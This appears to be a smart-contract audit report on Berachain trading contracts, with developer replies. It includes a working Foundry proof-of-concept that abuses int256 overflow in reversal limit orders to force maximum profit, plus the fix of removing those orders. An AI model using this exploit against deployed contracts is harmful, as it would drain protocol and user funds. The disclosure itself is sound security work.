# Trading (Callbacks) Contracts

## We're continuing working though the Trading contract going through all of the different order flows and have found the following

### When opening a buy reversal limit order it's possible to choose an arbitrary `openPrice` as the check in `contracts/src/core/v0/TradingCallbacks.sol#L561-L563` will set it to `maxPrice`. Using this, it's possible to abuse a large open price and large sl to cause `currentPercentProfit` to always return `maxPnlP` due to the `int256` casts overflowing. Eg an `openPrice` of `type(uint).max - 1` and `sl` of `type(uint).max - 2` will pass all the checks, and `currentPercentProfit` will end up being something like `((-3 - -2) * 100 * PRECISION * leverage) / -2`. A user can create the open limit order, execute it to open a trade, then close the trade for 900% profit

### Here is an example poc

```solidity
function testTradingSL() external {
    vm.startPrank(trader, trader);
    honey.approve(address(tradingStorage), type(uint).max);
    console.log("honey balance: %s", honey.balanceOf(trader));
    ITradingStorage.Trade memory t = ITradingStorage.Trade(
        trader,
        0,
        0,
        0,
        10000000000000000,
        0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe,
        true,
        100,
        0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff,
        0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd
    );

    trading.openTrade(
        t,
        Trading.OpenLimitOrderType.REVERSAL,
        1
    );
    console.log("honey balance: %s", honey.balanceOf(trader));
    vm.roll(block.number + 3);
    trading.executeNftOrder(ITradingStorage.LimitOrder.OPEN, trader, 0, 0);
    console.log("honey balance: %s", honey.balanceOf(trader));
    vm.roll(block.number + 3);
    trading.executeNftOrder(ITradingStorage.LimitOrder.SL, trader, 0, 0);
    console.log("honey balance: %s", honey.balanceOf(trader));
}
```

### which outputs

```sh
Running 1 test for test/TestTrading.t.sol:TestTrading
[PASS] testTradingSL() (gas: 1995338)
Logs:
  honey balance: 50000000000000000
  honey balance: 40000000000000000
  honey balance: 40000000000000000
  honey balance: 133623999947296095
```

### The slippage and tp have to be setup to ensure other overflows dont happen, but using the above values it goes through successfully

Given that we don't use `REVERSAL` orders right now, I think it makes sense to simplify the system and remove support
for it. This will eliminate this price condition that causes the exploit and gives time to properly understand
`REVERSAL` orders.
[(fix-commit)](https://github.com/berachain/bts/pull/176/commits/2052c7d4405c0b772768f3f57d6e1324be9e5b5d#diff-8caa2050e3b85920b80aef952f8c34ac9276e1621d023f2ea904c0594b743659)

### [12-07-2023 Followup] In `TradingCallbacks.executeNftOpenOrderCallback()`, when registering a trade of type `OpenLimitOrderType.MOMENTUM`, it sets the trade's `openPrice` to `a.price`, which is the price returned by the aggregator. However, the potential issue we spotted is in lines 515-525, where the code figures out the price impact from opening a trade of this size at the current price (as returned by the aggregator), and then immediately modifies the aggregator's price to the `priceAfterImpact`

```solidity
(uint256 priceImpactP, uint256 priceAfterImpact) = pairInfos
    .getTradePriceImpact(
        marketExecutionPrice(
            a.price, a.spreadP, o.spreadReductionP, o.buy
        ),
     o.pairIndex,
     o.buy,
     o.positionSize * o.leverage
);

a.price = priceAfterImpact;
```

### This seems like it causes a small loss for users on every trade, as their trade's open price will always be higher (for longs) or lower (for shorts) than the actual price returned by the aggregator

### We haven't been able to do a concrete analysis on this to figure out what the correct fix should be, but we think it should set `o.maxPrice = o.minPrice = priceAfterImpact` instead, because when registering the trade, the actual open price is set to either `o.maxPrice` or `a.price` depending on whether it is a `REVERSAL` or `MOMENTUM` type limit order

```solidity
registerTrade(
    ITradingStorage.Trade(
        o.trader,
        o.pairIndex,
        0,
        0,
        o.positionSize,
        t == Trading.OpenLimitOrderType.REVERSAL
            ? o.maxPrice // o.minPrice = o.maxPrice in that case
            : a.price,
        o.buy,
        o.leverage,
        o.tp,
        o.sl
    )
);
```

I believe GNS had set it up this way (openPrice is always the priceAfterImpact with the dynamic spread) for safety, but
I will investigate this further before commenting more.
